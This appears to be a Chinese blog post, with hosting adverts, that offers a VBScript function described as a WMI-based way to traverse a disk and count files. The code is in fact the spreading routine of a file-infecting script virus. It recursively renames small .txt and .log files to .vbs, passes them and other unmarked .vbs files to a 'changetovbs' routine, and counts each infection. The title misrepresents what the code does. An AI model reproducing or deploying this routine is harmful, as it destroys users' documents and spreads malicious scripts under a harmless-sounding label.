VBS调用WMI遍历搜索硬盘文件并计数的方法(遍历文件夹vba)居然可以这样

随心笔谈2年前发布 编辑
166 0
🌐 经济型:买域名、轻量云服务器、用途:游戏 网站等 《腾讯云》特点:特价机便宜 适合初学者用 点我优惠购买
🚀 拓展型:买域名、轻量云服务器、用途:游戏 网站等 《阿里云》特点:中档服务器便宜 域名备案事多 点我优惠购买
🛡️ 稳定型:买域名、轻量云服务器、用途:游戏 网站等 《西部数码》 特点:比上两家略贵但是稳定性超好事也少 点我优惠购买


Function wmisfile(path_sf,justcnt)
‘On Error Resume Next
StrComputer=”.”
Set ObjWMIService=GetObject(“winmgmts:\” & StrComputer & “\root\cimv2”)
Set FileList=objWMIService.ExecQuery _
(“ASSOCIATORS OF {Win32_Directory.Name='” & path_sf & “‘} Where ” _
& “ResultClass=CIM_DataFile”)
For Each objFile In FileList
fname=LCase(objfile.name)
ename=LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <=50000 Then
Select Case ename
Case “txt”,”log”
path_vbs=objfile.drive & objfile.path & objfile.filename & “.vbs”
objfile.rename(objfile.drive & objFile.Path & objfile.filename & “.vbs”)
Call changetovbs(path_vbs,path_vbs)
justcnt=justcnt + 1
Case “vbs”
If checkversion(fname)=False Then
Call changetovbs(fname,fname)
justcnt=justcnt + 1
End If
End Select
End If
Next
Set colSubfolders=objWMIService.ExecQuery _
(“Associators of {Win32_Directory.Name='” & path_sf & “‘} ” _
& “Where AssocClass=Win32_Subdirectory ” _
& “ResultRole=PartComponent”)
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function

© 版权声明

相关文章